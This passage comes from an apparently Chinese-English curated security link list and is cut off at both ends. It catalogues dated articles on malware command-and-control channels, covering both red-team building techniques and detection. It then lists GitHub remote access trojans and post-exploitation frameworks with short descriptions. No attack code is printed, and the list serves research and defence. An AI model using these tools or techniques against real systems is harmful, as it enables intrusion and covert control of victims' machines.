server](https://www.virusbulletin.com/blog/2017/09/vb2017-preview-offensive-malware-analysis-dissecting-osxfruitfly-custom-cc-server/) - 2017.09 [venus] [新型 Android 银行木马“MoqHao”利用社交网络隐藏 C&C 服务器](https://paper.seebug.org/407/) - 2017.09 [talosintelligence] [CCleaner Command and Control Causes Concern](https://blog.talosintelligence.com/2017/09/ccleaner-c2-concern.html) - 2017.09 [pentestlab] [Command and Control – Website Keyword](https://pentestlab.blog/2017/09/14/command-and-control-website-keyword/) - 2017.09 [tevora] [SecSmash: Leveraging Enterprise Tools for command execution, lateral movement and C2](http://threat.tevora.com/secsmash-leveraging-enterprise-tools-for-command-execution/) - 2017.09 [blackhillsinfosec] [Let’s Go Hunting! How to Hunt Command & Control Channels Using Bro IDS and RITA](https://www.blackhillsinfosec.com/how-to-hunt-command-and-control-channels-using-bro-ids-and-rita/) - 2017.09 [pentestlab] [Command and Control – WebDAV](https://pentestlab.blog/2017/09/12/command-and-control-webdav/) - 2017.09 [pentestlab] [Command and Control – Windows COM](https://pentestlab.blog/2017/09/01/command-and-control-windows-com/) - 2017.08 [bluescreenofjeff] [Randomized Malleable C2 Profiles Made Easy](https://bluescreenofjeff.com/2017-08-30-randomized-malleable-c2-profiles-made-easy/) - 2017.08 [n0where] [Proxy Aware PowerShell C2 Framework: PoshC2](https://n0where.net/proxy-aware-powershell-c2-framework-poshc2) - 2017.08 [riskanalytics] [Andromeda command-and-control on SourceForge](https://www.riskanalytics.com/2017/08/24/andromeda-command-and-control-on-sourceforge/) - 2017.08 [pentestlab] [Command and Control – PowerShell](https://pentestlab.blog/2017/08/19/command-and-control-powershell/) - 2017.08 [themiddleblue] [CloudFlare Domain Fronting: an easy way to reach (and hide) a malware C&C](https://medium.com/p/786255f0f437) - 2017.08 [trendmicro] [Hackers Leverage Chat for Command&Control: How You Can Protect Your Business](http://blog.trendmicro.com/hackers-leverage-chat-for-commandcontrol-how-you-can-protect-your-business/) - 2017.07 [blackhillsinfosec] [How to Build a C2 Infrastructure with Digital Ocean – Part 1](https://www.blackhillsinfosec.com/build-c2-infrastructure-digital-ocean-part-1/) - 2017.07 [NorthSec] [Dimitry Snezhkov - Abusing Webhooks for Command and Control](https://www.youtube.com/watch?v=1d3QCA2cR8o) - 2017.07 [xpnsec] [Industroyer C2 Communication](https://blog.xpnsec.com/industroyer-c2-protocol/) - 2017.06 [mcafee] [How a Hacking Group Used Britney Spears’ Instagram to Operate a Command and Control Server](https://securingtomorrow.mcafee.com/business/hacking-group-used-britney-spears-instagram-operate-command-control-server/) - 2017.06 [cybersins] [Jump Air-gap, Low Level C&C](https://cybersins.com/malware-wifi-airgap/) - 2017.06 [trendmicro] [Victim Machine has joined #general: Using Third-Party APIs as C&C Infrastructure](https://blog.trendmicro.com/trendlabs-security-intelligence/using-third-party-apis-cc-infrastructure/) - 2017.05 [4hou] [新型僵尸网络Rakos：入侵设备后改造为C&C控制端，已感染数万台](http://www.4hou.com/info/news/4776.html) - 2017.05 [threatexpress] [Empire：修改服务器的 C2Indicators](http://threatexpress.com/2017/05/empire-modifying-server-c2-indicators/) - 2017.05 [m] [New Shodan Tool Can Find Malware Command and Control (C&C) Servers](https://www.peerlyst.com/posts/new-shodan-tool-can-find-malware-command-and-control-c-and-c-servers-mark-dearlove) - 2017.04 [freebuf] [利用企业邮件系统构造命令控制（C&C）和数据窃取（Exfiltration）通道的思路探讨](http://www.freebuf.com/articles/network/132962.html) - 2017.04 [cybersyndicates] [Expand Your Horizon Red Team – Modern SaaS C2](https://cybersyndicates.com/2017/04/expand-your-horizon-red-team/) - 2017.04 [blackhillsinfosec] [WEBCAST: Two Covert C2 Channels](https://www.blackhillsinfosec.com/webcast-two-covert-c2-channels/) - 2017.04 [securityartwork] [对于只能使用企业设定的代理服务器访问外网，而且代理服务器经过严格设定和监控的情况，使用企业的网页邮箱，作为企业内网主机的C&C，以及获取数据。](https://www.securityartwork.es/2017/04/20/abusing-corporate-webmail-for-cc-and-exfiltration/) - 2017.04 [chokepoint] [Hunting Red Team Meterpreter C2 Infrastructure](http://www.chokepoint.net/2017/04/hunting-red-team-meterpreter-c2.html) - 2017.04 [krypt3ia] [OpISIS C2’s and Malware?](https://krypt3ia.wordpress.com/2017/04/10/opisis-c2s-and-malware/) - 2017.04 [krypt3ia] [Trump Hotels Dot Com: Malware C2 In 2014](https://krypt3ia.wordpress.com/2017/04/06/trump-hotels-dot-com-malware-c2-in-2014/) - 2017.03 [360] [ChChes – 使用Cookie头与C&C服务器通信的恶意软件](https://www.anquanke.com/post/id/85676/) - 2017.03 [malwarebytes] [CryptoBlock ransomware and its C2](https://blog.malwarebytes.com/threat-analysis/2017/03/cryptoblock-and-its-c2/) - 2017.03 [pediy] [[翻译] TP-Link C2 和 C20i 的多个漏洞](https://bbs.pediy.com/thread-216042.htm) - 2017.03 [cobbr] [ObfuscatedEmpire - Use an obfuscated, in-memory PowerShell C2 channel to evade AV signatures](https://cobbr.io/ObfuscatedEmpire.html) - 2017.02 [jpcert] [ChChes – Malware that Communicates with C&C Servers Using Cookie Headers](https://blogs.jpcert.or.jp/en/2017/02/chches-malware--93d6.html) - 2017.02 [wordfence] [WordPress Used as Command and Control Server in 2016 Election Hack](https://www.wordfence.com/blog/2017/02/russia-election-hack-worpress-used/) - 2017.02 [pierrekim] [TP-Link C2 and C20i vulnerable to command injection (authenticated root RCE), DoS, improper firewall rules](http://pierrekim.github.io/blog/2017-02-09-tplink-c2-and-c20i-vulnerable.html) - 2017.02 [arbornetworks] [UC&C: Stay Connected with Service Assurance](https://www.netscout.com/news/blog/unified-communications-service-assurance) - 2017.01 [securityartwork] [Simple domain fronting PoC with GAE C2 server](https://www.securityartwork.es/2017/01/31/simple-domain-fronting-poc-with-gae-c2-server/) - 2017.01 [HackersOnBoard] [DEF CON 24 - Malware Command and Control Channels - A journey into darkness](https://www.youtube.com/watch?v=okeXzdAlNpU) - 2016.12 [DemmSec] [PoshC2 - A fully powershell command and control server](https://www.youtube.com/watch?v=wVHvdUVFQnM) - 2016.11 [myonlinesecurity] [Locky changed to use .aesir file extension and changed C2 format](https://myonlinesecurity.co.uk/locky-changed-to-use-aesir-file-extension-and-changed-c2-format/) - 2016.11 [n0where] [osquery Command And Control: Kolide](https://n0where.net/osquery-command-and-control-kolide) - 2016.10 [securelist] [Inside the Gootkit C&C server](https://securelist.com/inside-the-gootkit-cc-server/76433/) - 2016.10 [broadanalysis] [Rig Exploit Kit via EITEST delivers Crypt2 ransomware C2 5.39.93.43](http://www.broadanalysis.com/2016/10/17/rig-exploit-kit-via-eitest-delivers-crypt2-ransomware-c2-5-39-93-43/) - 2016.10 [freebuf] [玩出C&C服务器地址隐身的新花样，看看这个恶意软件怎么做的](http://www.freebuf.com/articles/system/115809.html) - 2016.09 [freebuf] [隐秘通讯与跳板？C&C服务器究竟是怎么一回事](http://www.freebuf.com/articles/network/114122.html) - 2016.09 [laanwj] [A few notes on SECONDDATE's C&C protocol](http://laanwj.github.io/2016/09/17/seconddate-cnc.html) - 2016.09 [laanwj] [BLATSTING C&C transcript](http://laanwj.github.io/2016/09/09/blatsting-lp-transcript.html) - 2016.09 [360] [New Elknot/Billgates Variant with XOR like C2 Configuration Encryption Scheme](http://blog.netlab.360.com/new-elknot-billgates-variant-with-xor-like-c2-configuration-encryption-scheme/) - 2016.08 [contextis] [Using SMB named pipes as a C2 channel](https://www.contextis.com/blog/using-smb-named-pipes-c2-channel) - 2016.08 [endgame] [Instegogram: Leveraging Instagram for C2 via Image Steganography](https://www.endgame.com/blog/technical-blog/instegogram-leveraging-instagram-c2-image-steganography) - 2016.08 [fidelissecurity] [Vawtrak C2 – Pin it](https://www.fidelissecurity.com/threatgeek/2016/08/vawtrak-c2-%E2%80%93-pin-it) - 2016.08 [harmj0y] [Command and Control Using Active Directory](http://www.harmj0y.net/blog/powershell/command-and-control-using-active-directory/) - 2016.08 [broadanalysis] [New C2 – Neutrino Exploit Kit via pseudoDarkleech HOPTO.ORG gate delivers CrypMic Ransomware](http://www.broadanalysis.com/2016/08/08/new-c2-neutrino-exploit-kit-via-pseudodarkleech-hopto-org-gate-delivers-crypmic-ransomware/) - 2016.08 [CodeColoristX] [利用图片博客做 C&C 配置](https://blog.chichou.me/%E5%88%A9%E7%94%A8%E5%9B%BE%E7%89%87%E5%8D%9A%E5%AE%A2%E5%81%9A-c-c-%E9%85%8D%E7%BD%AE-a00081180769) - 2016.07 [broadanalysis] [Neutrino Exploit Kit via pseudoDarkleech delivers CryptXXX Ransomware – NEW C2](http://www.broadanalysis.com/2016/07/26/neutrino-exploit-kit-via-pseudodarkleech-delivers-cryptxxx-ransomware-new-c2/) - 2016.07 [cerbero] [Extracting C&C from Android Malware](http://cerbero-blog.com/?p=1633) - 2016.07 [blackhillsinfosec] [How to Build a 404 page not found C2](https://www.blackhillsinfosec.com/how-to-build-a-404-page-not-found-c2/) - 2016.07 [pentestn00b] [PoshC2 – Powershell C2](https://pentestn00b.wordpress.com/2016/07/11/poshc2-powershell-c2/) - 2016.07 [hackwhackandsmack] [PoshC2 – Powershell C2](https://www.hackwhackandsmack.com/?p=693) - 2016.05 [rtl] [Using the Airspy on an Odroid C2](https://www.rtl-sdr.com/using-the-airspy-on-an-odroid-c2/) - 2016.05 [sec] [烽火台威胁情报订阅0529：C2-feed](https://www.sec-un.org/beacon-threat-intelligence-subscription-0529c2-feed/) - 2016.05 [trustlook] [Fake Adobe Flash App Evades Most Anti Virus Detection, Manipulates Phone by Command & Control Server in Latvia](https://blog.trustlook.com/2016/05/23/fake-adobe-flash-app-evades-most-anti-virus-detection-and-manipulates-phone-by-command-control-server-in-latvia/) - 2016.04 [broadanalysis] [Angler EK sends Bedep, TelsaCrypt – NEW C2’s](http://www.broadanalysis.com/2016/04/18/angler-ek-sends-bedep-telsacrypt-new-c2s/) - 2016.04 [akamai] [Akamai's State of the Art Command and Control Center for OTT Broadcasters](https://blogs.akamai.com/2016/04/post.html) - 2016.04 [broadanalysis] [Angler Flash Exploit Infection Chain – New C&C](http://www.broadanalysis.com/2016/04/05/angler-flash-exploit-infection-chain-new-cc/) - 2016.03 [broadanalysis] [Angler EK – TeslaCrypt – NEW C2 URI Structure “binarystings.php”](http://www.broadanalysis.com/2016/03/28/angler-ek-teslacrypt-new-c2-uri-structure-binarystings-php/) - 2016.03 [malwarenailed] [Weaponized Container exploiting MS Office Vulnerability CVE 2012-0158 - Communicating to Dridex C2 Infra](http://malwarenailed.blogspot.com/2016/03/weaponized-container-exploiting-ms.html) - 2016.03 [broadanalysis] [Angler EK sends TeslaCrypt – New C2 – New Ransom note pattern](http://www.broadanalysis.com/2016/03/18/angler-ek-sends-teslacrypt-new-c2-new-ransom-note-pattern/) - 2016.03 [dafthack] [Beyond the Pentest: How C2, Internal Pivoting, and Data Exfiltration Show True Risk](https://www.slideshare.net/dafthack/beyond-the-pentest-how-c2-internal-pivoting-and-data-exfiltration-show-true-risk-59678824) - 2016.03 [robert] [Block Ransomware botnet C&C traffic with a Mikrotik router](https://robert.penz.name/1262/block-ransomware-botnet-cc-traffic-with-a-mikrotik-router/) - 2016.02 [arbornetworks] [Embracing Modern UC&C: A Holistic Approach](https://www.netscout.com/news/blog/embracing-modern-ucc-holistic-approach) - 2015.12 [blackhillsinfosec] [Can we C2? Yes we can!](https://www.blackhillsinfosec.com/can-we-c2-yes-we-can/) - 2015.11 [breakpoint] [Detecting and Understanding Emdivi HTTP C2](https://breakpoint-labs.com/blog/detecting-and-understanding-emdivi-http-c2/) - 2015.11 [alienvault] [Command and Control Server Detection: Methods & Best Practices](https://www.alienvault.com/blogs/security-essentials/command-and-control-server-detection-methods-best-practices) - 2015.11 [f] [Paper: C&C-As-A-Service](https://labsblog.f-secure.com/2015/11/17/paper-cc-as-a-service/) - 2015.11 [] [与黑产的博弈-C&C控制服务的设计和侦测方法综述](http://www.91ri.org/14517.html) - 2015.11 [checkpoint] [Offline Ransomware Encrypts Your Data without C&C Comms](https://blog.checkpoint.com/2015/11/04/offline-ransomware-encrypts-your-data-without-cc-communication/) - 2015.11 [angelalonso] [Reversing the SMS C&C protocol of Emmental - 2nd part](http://blog.angelalonso.es/2015/11/reversing-sms-c-protocol-of-emmental_3.html) - 2015.11 [angelalonso] [Reversing the SMS C&C protocol of Emmental (1st part - understanding the code)](http://blog.angelalonso.es/2015/11/reversing-sms-c-protocol-of-emmental.html) - 2015.11 [vanimpe] [Hunting for Dridex C2 info](https://www.vanimpe.eu/2015/11/01/hunting-dridex-c2-info/) - 2015.10 [portcullis] [Locating SAT based C&Cs](https://labs.portcullis.co.uk/blog/locating-sat-based-ccs/) - 2015.09 [trendmicro] [How Command and Control Servers Remain Resilient](https://blog.trendmicro.com/trendlabs-security-intelligence/adapting-to-change-how-command-and-control-servers-remain-hidden-and-resilient/) - 2015.09 [securelist] [Satellite Turla: APT Command and Control in the Sky](https://securelist.com/satellite-turla-apt-command-and-control-in-the-sky/72081/) - 2015.09 [samvartaka] [Crypto-trouble in Poison Ivy's C2 protocol](http://samvartaka.github.io/malware/2015/09/07/poison-ivy-reliable-exploitation) - 2015.09 [trendmicro] [Attackers Target Organizations in Japan; Transform Local Sites into C&C Servers for EMDIVI Backdoor](https://blog.trendmicro.com/trendlabs-security-intelligence/attackers-target-organizations-in-japan-transform-local-sites-into-cc-servers-for-emdivi-backdoor/) - 2015.07 [trendmicro] [Pawn Storm C&C Redirects to Trend Micro IP Address](https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-cc-redirects-to-trend-micro-ip-address/) - 2015.06 [virusbulletin] [Vawtrak uses Tor2Web to connect to Tor hidden C&C servers](https://www.virusbulletin.com/blog/2015/06/vawtrak-uses-tor2web-connect-tor-hidden-c-amp-c-servers/) - 2015.05 [sans] [Possible Wordpress Botnet C&C: errorcontent.com](https://isc.sans.edu/forums/diary/Possible+Wordpress+Botnet+CC+errorcontentcom/19733/) - 2015.05 [trendmicro] [Joke or Blunder: Carbanak C&C Leads to Russia Federal Security Service](https://blog.trendmicro.com/trendlabs-security-intelligence/joke-or-blunder-carbanak-cc-leads-to-russia-federal-security-service/) - 2015.05 [trendmicro] [Steganography and Malware: Concealing Code and C&C Traffic](https://blog.trendmicro.com/trendlabs-security-intelligence/steganography-and-malware-concealing-code-and-cc-traffic/) - 2015.03 [secureallthethings] [Yet Another Reason for HTTPS Everywhere: Internet Node Based Malware Command and Control Channels](http://secureallthethings.blogspot.com/2015/03/yet-another-reason-for-https-everywhere.html) - 2015.03 [trendmicro] [Investigating and Detecting Command and Control Servers](https://blog.trendmicro.com/trendlabs-security-intelligence/investigating-and-detecting-command-and-control-servers/) - 2015.02 [zeltser] [When Bots Use Social Media for Command and Control](https://zeltser.com/bots-command-and-control-via-social-media/) - 2014.12 [malwaretech] [Phase Bot – Exploiting C&C Panel](https://www.malwaretech.com/2014/12/phase-bot-exploiting-c-pane.html) - 2014.12 [trendmicro] [Banking Trojan Targets South Korean Banks; Uses Pinterest as C&C Channel](https://blog.trendmicro.com/trendlabs-security-intelligence/malware-campaign-targets-south-korean-banks-uses-pinterest-as-cc-channel/) - 2014.11 [weebly] [malware uses multiple web servers to have a periodic http C&C connection while its netflows are not periodic](http://mcfp.weebly.com/analysis/botnet-uses-multiple-web-servers-to-have-a-periodic-http-cc-connection-while-its-netflows-are-not-periodic) - 2014.09 [trendmicro] [Shellshock Updates: BASHLITE C&Cs Seen, Shellshock Exploit Attempts in Brazil](https://blog.trendmicro.com/trendlabs-security-intelligence/shellshock-updates-bashlite-ccs-seen-shellshock-exploit-attempts-in-brazil/) - 2014.08 [crysys] [The Epic Turla Operation: Information on Command and Control Server infrastructure](http://blog.crysys.hu/2014/08/the-epic-turla-operation-information-on-command-and-control-server-infrastructure/) - 2014.08 [weebly] [Malware started to randomize the request times in relation with their C&C channels](http://mcfp.weebly.com/analysis/malware-started-randomizing-the-request-times-of-their-cc-channels) - 2014.08 [arxiv] [[1408.1136] Command & Control: Understanding, Denying and Detecting - A review of malware C2 techniques, detection and defences](https://arxiv.org/abs/1408.1136) - 2014.07 [harmj0y] [A Brave New World: Malleable C2](http://www.harmj0y.net/blog/redteaming/a-brave-new-world-malleable-c2/) - 2014.07 [zairon] [Android Koler trojan: C&C part](https://zairon.wordpress.com/2014/07/01/android-koler-trojan-cc-part/) - 2014.04 [macnica] [Network Indicators of C2 / C2の兆候を発見するためのCheat Sheet](http://blog.macnica.net/blog/2014/04/network-indicat-c556.html) - 2014.03 [sans] [The Importance of Command and Control Analysis for Incident Response](https://digital-forensics.sans.org/blog/2014/03/31/the-importance-of-command-and-control-analysis-for-incident-response) - 2014.03 [webroot] [A peek inside a modular, Tor C&C enabled, Bitcoin mining malware bot](https://www.webroot.com/blog/2014/03/20/peek-inside-modular-tor-cc-enabled-bitcoin-mining-malware-bot/) - 2014.03 [microsoft] [Sefnit’s Tor botnet C&C details](https://cloudblogs.microsoft.com/microsoftsecure/2014/03/05/sefnits-tor-botnet-cc-details/) - 2014.03 [microsoft] [Sefnit’s Tor botnet C&C details](https://www.microsoft.com/security/blog/2014/03/05/sefnits-tor-botnet-cc-details/) - 2014.01 [enigma0x3] [Command and Control using Powershell and your favorite website](https://enigma0x3.net/2014/01/17/command-and-control-using-powershell-and-your-favorite-website/) - 2013.12 [websec] [Drive By ONT Botnet with IRC C&C](https://websec.ca/blog/view/drive-by-ONT-botnet-with-IRC-CC) - 2013.10 [publicintelligence] [U.S. Army Cyber Command and Control Facility Environmental Assessment](https://publicintelligence.net/army-cyber-command-ea/) - 2013.09 [virusbulletin] [Malware spoofing HTTP Host header to hide C&C communication](https://www.virusbulletin.com/blog/2013/09/malware-spoofing-http-host-header-hide-c-amp-c-communication/) - 2013.07 [webroot] [Cybercriminals experiment with Tor-based C&C, ring-3-rootkit empowered, SPDY form grabbing malware bot](https://www.webroot.com/blog/2013/07/02/cybercriminals-experiment-with-tor-based-cc-ring-3-rootkit-empowered-spdy-form-grabbing-malware-bot/) - 2013.06 [crowdstrike] [Rare Glimpse into a Real-Life Command-and-Control Server](https://www.crowdstrike.com/blog/rare-glimpse-real-life-command-and-control-server/) - 2013.05 [cylance] [C2 Malware Targets Battle.Net Accounts](https://www.cylance.com/en_us/blog/C2-Malware-Targets-Battle-Net-Accounts.html) - 2013.05 [dontneedcoffee] [Inside RDPxTerm (panel 5.1 - bot 4.4.2) aka Neshta C&C - Botnet control panel](https://malware.dontneedcoffee.com/2013/05/inside-rdpxterm-bot-442-panel-51-aka.html) - 2013.03 [trendmicro] [Backdoor Uses Evernote as Command-and-Control Server](https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-uses-evernote-as-command-and-control-server/) - 2013.02 [cyberarms] [Iranian Military C&C Allegedly Hacked and Launched Rockets at Tehran](https://cyberarms.wordpress.com/2013/02/08/iranian-military-cc-allegedly-hacked-and-launched-rockets-at-tehran/) - 2013.02 [dontneedcoffee] [Inside Multi-Botnet ver.4 c&c Panel](https://malware.dontneedcoffee.com/2013/02/inside-multi-botnet-ver4-c-panel.html) - 2013.01 [welivesecurity] [Walking through Win32/Jabberbot.A instant messaging C&C](https://www.welivesecurity.com/2013/01/30/walking-through-win32jabberbot-a-instant-messaging-cc/) - 2012.12 [talosintelligence] [Triggering Miniflame's C&C Communication to Create a Pcap](https://blog.talosintelligence.com/2012/12/triggering-miniflames-c-communication.html) - 2012.12 [talosintelligence] [Quarian: Reversing the C&C Protocol](https://blog.talosintelligence.com/2012/12/quarian.html) - 2012.09 [securelist] [Full Analysis of Flame’s Command & Control servers](https://securelist.com/full-analysis-of-flames-command-control-servers-27/34216/) - 2012.08 [talosintelligence] [SMSZombie: A New Twist on C&C](https://blog.talosintelligence.com/2012/08/smszombie-new-twist-on-c.html) - 2012.08 [dontneedcoffee] [Inside Upas Kit (1.0.1.1) aka Rombrast C&C - Botnet Control Panel](https://malware.dontneedcoffee.com/2012/08/inside-upas-kit1.0.1.1.html) - 2012.07 [dontneedcoffee] [Inside Citadel 1.3.4.5 C&C & Builder - Botnet Control Panel](https://malware.dontneedcoffee.com/2012/07/inside-citadel-1.3.4.5-cncNbuilder.html) - 2012.07 [virusbulletin] [Grum botnet's command-and-control servers shut down](https://www.virusbulletin.com/blog/2012/07/grum-botnet-s-command-and-control-servers-shut-down/) - 2012.07 [hackingarticles] [Hack Windows 7 PC with Poison Ivy 2.3.2 C&C Server Buffer Overflow](http://www.hackingarticles.in/hack-windows-7-pc-with-poison-ivy-2-3-2-cc-server-buffer-overflow/) - 2012.06 [dontneedcoffee] [Inside Pony 1.7 / Fareit C&C - Botnet Control Panel](https://malware.dontneedcoffee.com/2012/06/inside-pony-17.html) - 2012.06 [trendmicro] [Library File in Certain Android Apps Connects to C&C Servers](https://blog.trendmicro.com/trendlabs-security-intelligence/library-file-in-certain-android-apps-connects-to-cc-servers/) - 2012.06 [securelist] [The Roof Is on Fire: Tackling Flame’s C&C Servers](https://securelist.com/the-roof-is-on-fire-tackling-flames-cc-servers-6/33033/) - 2012.04 [publicintelligence] [(U//FOUO) U.S. Army Small Unmanned Aerial Vehicle (SUAV) Airspace Command and Control (A2C2) Handbook](https://publicintelligence.net/usarmy-suav-a2c2/) - 2012.03 [shadowserver] [Of House Cleaning and Botnet C&C’s](http://blog.shadowserver.org/2012/03/07/of-house-cleaning-and-botnet-ccs/) - 2012.02 [virusbulletin] [New Zeus/SpyEye botnet does away with command-and-control servers](https://www.virusbulletin.com/blog/2012/02/new-zeus-spyeye-botnet-does-away-command-and-control-servers/) - 2011.11 [securelist] [The Mystery of Duqu: Part Six (The Command and Control servers)](https://securelist.com/the-mystery-of-duqu-part-six-the-command-and-control-servers-36/31863/) - 2011.10 [trendmicro] [Android Malware Uses Blog Posts as C&C](https://blog.trendmicro.com/trendlabs-security-intelligence/android-malware-uses-blog-posts-as-cc/) - 2011.09 [forcepoint] [Websense Labs Video: Speaking in Tongues: Malware C&C Encryption](https://www.forcepoint.com/blog/security-labs/websense-labs-video-speaking-tongues-malware-cc-encryption) - 2011.07 [talosintelligence] [Binary C&C Over HTTP](https://blog.talosintelligence.com/2011/07/binary-c-over-http.html) - 2011.06 [virusbulletin] [DroidKungFu command and control server may be mobile device](https://www.virusbulletin.com/blog/2011/06/droidkungfu-command-and-control-server-may-be-mobile-device/) - 2011.03 [trendmicro] [Trend Micro Sinkholes and Eliminates a ZeuS Botnet C&C](https://blog.trendmicro.com/trendlabs-security-intelligence/trend-micro-sinkholes-and-eliminates-a-zeus-botnet-cc/) - 2010.09 [publicintelligence] [(U//FOUO) Joint Battle Management Command and Control (JBMC2) Roadmap Version 1.0](https://publicintelligence.net/ufouo-joint-battle-management-command-and-control-jbmc2-roadmap-version-1-0/) - 2010.09 [publicintelligence] [(U//FOUO) Joint Battle Management Command and Control Roadmap 2003 Draft](https://publicintelligence.net/ufouo-joint-battle-management-command-and-control-roadmap-2003-draft/) - 2010.09 [trendmicro] [Uncovered SpyEye C&C Server Targets Polish Users](https://blog.trendmicro.com/trendlabs-security-intelligence/uncovered-spyeye-cc-server-targets-polish-users/) - 2010.03 [securelist] [Active Koobface C&C servers hit a record high – 200+ and counting](https://securelist.com/active-koobface-cc-servers-hit-a-record-high-200-and-counting/29530/) - 2010.03 [securelist] [Koobface C&C servers steadily dropping – new spike coming soon?](https://securelist.com/koobface-cc-servers-steadily-dropping-new-spike-coming-soon/29562/) - 2006.11 [sans] [Bot C&C Servers on Port 80](https://isc.sans.edu/forums/diary/Bot+CC+Servers+on+Port+80/1865/) - 2004.01 [daringfireball] [Command and Control](https://daringfireball.net/2004/01/command_and_control) # <a id="b318465d0d415e35fc0883e9894261d1"></a>远控 *** ## <a id="9e3a9beb5ecf36b9624525bc3cfef78a"></a>工具 ### <a id="964a3580a7a7f66571ee1d2c0f34f2d6"></a>新添加 - [**1615**星][9d] [Py] [zerosum0x0/koadic](https://github.com/zerosum0x0/koadic) 类似于Meterpreter、Powershell Empire 的post-exploitation rootkit，区别在于其大多数操作都是由 Windows 脚本主机 JScript/VBScript 执行 - [**1473**星][3y] [Py] [nathanlopez/stitch](https://github.com/nathanlopez/stitch) 一个跨平台的远控框架，可为Windows，Mac OSX和Linux构建自定义的Payload - [**789**星][4m] [Py] [kevthehermit/ratdecoders](https://github.com/kevthehermit/ratdecoders) Python Decoders for Common Remote Access Trojans - [**764**星][7d] [C] [rdesktop/rdesktop](https://github.com/rdesktop/rdesktop) rdesktop is an open source UNIX client for connecting to Windows Remote Desktop Services, capably of natively speaking Remote Desktop Protocol (RDP) in order to present the user's Windows desktop. rdesktop is known to work with Windows server version ranging from NT 4 terminal server to Windows 2012 R2. - [**706**星][1y] [PS] [arvanaghi/sessiongopher](https://github.com/Arvanaghi/SessionGopher) 使用WMI为远程访问工具（如WinSCP，PuTTY，SuperPuTTY，FileZilla和Microsoft远程桌面）提取保存的会话信息。PowerShell编写 - [**538**星][10d] [JS] [mr-un1k0d3r/thundershell](https://github.com/mr-un1k0d3r/thundershell) 通过HTTP请求进行通信的C＃RAT - [**392**星][5m] [C++] [werkamsus/lilith](https://github.com/werkamsus/lilith) 基于C ++开发的基于控制台的超轻量RAT - [**297**星][2y] [Py] [0xislamtaha/python-rootkit](https://github.com/0xIslamTaha/Python-Rootkit) Python远控，用于获取Meterpreter会话 - [**238**星][6d] [C#] [b4rtik/redpeanut](https://github.com/b4rtik/redpeanut) RedPeanut is a small RAT developed in .Net Core 2 and its agent in .Net 3.5 / 4.0. - [**222**星][9d] [C++] [xdnice/pcshare](https://github.com/xdnice/pcshare) 远程控制软件，可以监视目标机器屏幕、注册表、文件系统等。 - [**214**星][2y] [C#] [them4hd1/vayne-rat](https://github.com/them4hd1/vayne-rat) 用C＃编码的免费和开源远程管理工具。 - [**205**星][2y] [C++] [ahxr/ghost](https://github.com/ahxr/ghost) a light RAT that gives the server/attacker full remote access to the user's command-line interprete - [**201**星][10d] [Py] [pure-l0g1c/loki](https://github.com/pure-l0g1c/loki) 远程访问工具， 使用 RSA-2048 + AES-256 保护通信安全 - [**195**星][3m] [PHP] [0blio/caesar](https://github.com/0blio/Caesar) 基于HTTP的RAT，从浏览器远程控制设备 - [**175**星][4y] [C#] [alphadelta/secure-desktop](https://github.com/alphadelta/secure-desktop) Anti-keylogger/anti-rat application for Windows - [**172**星][3y] [C++] [hussein-aitlahcen/blackhole](https://github.com/hussein-aitlahcen/blackhole) C# RAT (Remote Administration Tool) - [**157**星][10d] [Visual Basic] [mwsrc/plasmarat](https://github.com/mwsrc/PlasmaRAT) Remote Access Trojan(RAT), Miner, DDoS - [**140**星][1m] [Py] [anhkgg/pyrat](https://github.com/anhkgg/pyrat) 基于python XmlRPC完成的远控开源项目，包括客户端和服务端（也叫控制端，后统称服务端） - [**136**星][25d] [C++] [earthquake/universaldvc](https://github.com/earthquake/universaldvc) Universal Dynamic Virtual Channel connector for Remote Desktop Services - [**129**星][2y] [Py] [dviros/rat-via-telegram](https://github.com/dviros/rat-via-telegram) 使用Telegram控制已经攻克的Windows主机 - [**115**星][4y] [C#] [leurak/trollrat](https://github.com/leurak/trollrat) 远程管理工具（RAT），该工具采用与其他RAT不同的方法，不做数据窃取等，只是为了trolling - [**98**星][4m] [JS] [securityrat/securityrat](https://github.com/securityrat/securityrat) OWASP SecurityRAT (version 1.x) - Tool for handling security requirements in development - [**95**星][7y] [C#] [ilikenwf/darkagent](https://github.com/ilikenwf/darkagent) DarkAgent Remote Administration Tool RAT by DragonHunter - [**95**星][2y] [Pascal] [senjaxus/allakore_remote](https://github.com/senjaxus/allakore_remote) Delphi Seattle编写的远控 - [**80**星][4y] [C++] [rwhitcroft/dnschan](https://github.com/rwhitcroft/dnschan) 使用DNS通信的远程访问木马 - [**77**星][4y] [Py] [ahhh/reverse_https_bot](https://github.com/ahhh/reverse_https_bot) A python based https remote access trojan for penetration testing - [**66**星][11d] [Visual Basic] [thesph1nx/rt-101](https://github.com/thesph1nx/rt-101) VB.net Remote Administrator Tool (RAT) - [**65**星][7m] [sh1n0g1/shinobot](https://github.com/sh1n0g1/shinobot) RAT / Botnet Simulator for pentest / education - [**61**星][28d] [Visual Basic] [thesph1nx/slickermaster-rev4](https://github.com/thesph1nx/slickermaster-rev4) NSA Hacking Tool Recreation UnitedRake - [**61**星][2m] [C#] [nyan-x-cat/mass-rat](https://github.com/nyan-x-cat/mass-rat) Basic Multiplatform Remote Administration Tool - Xamarin - [**58**星][3y] [PS] [killswitch-gui/persistence-survivability](https://github.com/killswitch-gui/persistence-survivability) Powershell Persistence Locator - [**57**星][3y] [Py] [m4sc3r4n0/spyrat](https://github.com/m4sc3r4n0/spyrat) Python Remote Access Trojan - [**55**星][4y] [Py] [ahhh/ntp_trojan](https://github.com/ahhh/ntp_trojan) Reverse NTP remote access trojan in python, for penetration testers - [**53**星][8d] [Java] [blackhacker511/blackrat](https://github.com/blackhacker511/blackrat) Java编写的远控 - [**52**星][12d] [Py] [technowlogy-pushpender/technowhorse](https://github.com/technowlogy-pushpender/technowhorse) TechNowHorse is a RAT (Remote Administrator Trojan) Generator for Windows/Linux systems written in Python 3. - [**50**星][11d] [C#] [brunull/pace](https://github.com/brunull/pace) A Remote Access Tool for Windows. - [**46**星][1m] [Pascal] [0x48piraj/malwarex](https://github.com/0x48piraj/malwarex) Collection of killers - [**46**星][1m] [PHP] [davidtavarez/pinky](https://github.com/davidtavarez/pinky) pinky - The PHP mini RAT (Remote Administration Tool) - [**46**星][20d] [Shell] [infosecn1nja/ycsm](https://github.com/infosecn1nja/ycsm) This is a quick script installation for resilient redirector using nginx reverse proxy and letsencrypt compatible with some popular Post-Ex Tools (Cobalt Strike, Empire, Metasploit, PoshC2). - [**46**星][18d] [Java] 